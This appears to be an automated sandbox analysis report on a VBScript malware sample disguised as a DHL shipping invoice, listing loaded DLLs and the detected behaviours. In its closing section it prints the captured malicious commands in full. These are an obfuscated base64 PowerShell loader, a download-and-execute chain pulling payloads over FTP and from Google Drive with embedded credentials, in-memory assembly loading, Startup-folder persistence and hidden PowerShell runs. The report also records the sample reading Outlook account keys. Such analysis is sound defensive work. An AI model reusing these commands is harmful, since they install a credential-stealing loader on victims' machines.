Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: pstorec.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: pstorec.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' +", "0", "false");

.NET source code contains potential unpacker

Source: 3.2.powershell.exe.2203d996da0.2.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 3.2.powershell.exe.2203c0c0000.0.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 3.2.powershell.exe.2203c568c58.1.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 13.2.powershell.exe.1ab8944f358.1.raw.unpack, -.cs	.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])
Source: 13.2.powershell.exe.1ab88b90000.0.raw.unpack, -.cs	.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])
Source: 19.2.powershell.exe.1e3a11dd948.0.raw.unpack, -.cs	.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])
Source: 26.2.powershell.exe.1c21294da58.0.raw.unpack, -.cs	.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])
Source: 35.2.powershell.exe.1a88030d738.0.raw.unpack, -.cs	.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])
Source: 40.2.powershell.exe.1b32ce4ed60.0.raw.unpack, -.cs	.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String( $hsdzv ) ); $qqbfx = $qqbfx[-1..-$qqbfx.Length] -join '';$qqbfx = $qqbfx.replace('%XRqhI%','C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs');powershell $qqb

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGIAMg' + [char]66 + 'jAGEAcw' + [char]66 + 'lAC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + 'jAGwAYQ' + [char]66 + 'zAHMALg' + [char]66 + '0AHgAdAAnACAAKAAgAF0AXQ' + [char]66 + 'bAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'vAFsAIAAsACAAbA' + [char]66 + 'sAHUAbgAkACAAKA' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQAuACkAIAAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUATQ' + [char]66 + '0AGUARwAuACkAJwAxAHMAcw' + [char]66 + 'hAGwAQwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAoAGUAcA' + [char]66 + '5AFQAdA' + [char]66 + 'lAEcALgApACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAOg' + [char]66 + 'dAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7ACkAIAApACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAAsACAAJwCTIToAkyEnACAAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'SAC4AZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMANAA2AGUAcw' + [char]66 + 'hAEIAbQ' + [char]66 + 'vAHIARgA6ADoAXQ' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'aAGMAQg' + [char]66 + 'jAGEAJAAgAF0AXQ' + [char]66 + 'bAGUAdA' + [char]66 + '5AEIAWwA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAFgAUA' + [char]66 + 'VAHUAaAAkADsAKQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHoAeA' + [char]66 + 'iAGsAbQAkACAAPQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAOwA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQ' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQAoAGUAcw' + [char]66 + 'vAHAAcw' + [char]66 + 'pAGQALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8Acg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [ch
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $QDrfV = $host.Version.Major.Equals(2) ;if ( $QDrfV ) {$TZWou = [System.IO.Path]::GetTempPath();del ( $TZWou + '\Upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qVgWD = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVgWD ) {$rrlqq = ($rrlqq + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$rrlqq = ($rrlqq + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yzdrg = (New-Object Net.WebClient);$yzdrg.Encoding = [System.Text.Encoding]::UTF8;$yzdrg.DownloadFile($URLKB, $TZWou + '\Upwin.msu');$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($TZWou + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$mkbxz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lBCzSg = $mkbxz.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mkbxz.dispose();$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mkbxz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huUPX , 'D D1D' ) );};"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGIAMg' + [char]66 + 'jAGEAcw' + [char]66 + 'lAC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + 'jAGwAYQ' + [char]66 + 'zAHMALg' + [char]66 + '0AHgAdAAnACAAKAAgAF0AXQ' + [char]66 + 'bAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'vAFsAIAAsACAAbA' + [char]66 + 'sAHUAbgAkACAAKA' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQAuACkAIAAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUATQ' + [char]66 + '0AGUARwAuACkAJwAxAHMAcw' + [char]66 + 'hAGwAQwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAoAGUAcA' + [char]66 + '5AFQAdA' + [char]66 + 'lAEcALgApACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAOg' + [char]66 + 'dAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7ACkAIAApACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAAsACAAJwCTIToAkyEnACAAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'SAC4AZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMANAA2AGUAcw' + [char]66 + 'hAEIAbQ' + [char]66 + 'vAHIARgA6ADoAXQ' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'aAGMAQg' + [char]66 + 'jAGEAJAAgAF0AXQ' + [char]66 + 'bAGUAdA' + [char]66 + '5AEIAWwA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAFgAUA' + [char]66 + 'VAHUAaAAkADsAKQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHoAeA' + [char]66 + 'iAGsAbQAkACAAPQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAOwA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQ' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQAoAGUAcw' + [char]66 + 'vAHAAcw' + [char]66 + 'pAGQALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8Acg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [ch	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $QDrfV = $host.Version.Major.Equals(2) ;if ( $QDrfV ) {$TZWou = [System.IO.Path]::GetTempPath();del ( $TZWou + '\Upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qVgWD = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVgWD ) {$rrlqq = ($rrlqq + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$rrlqq = ($rrlqq + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yzdrg = (New-Object Net.WebClient);$yzdrg.Encoding = [System.Text.Encoding]::UTF8;$yzdrg.DownloadFile($URLKB, $TZWou + '\Upwin.msu');$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($TZWou + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$mkbxz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lBCzSg = $mkbxz.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mkbxz.dispose();$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mkbxz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huUPX , 'D D1D' ) );};"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
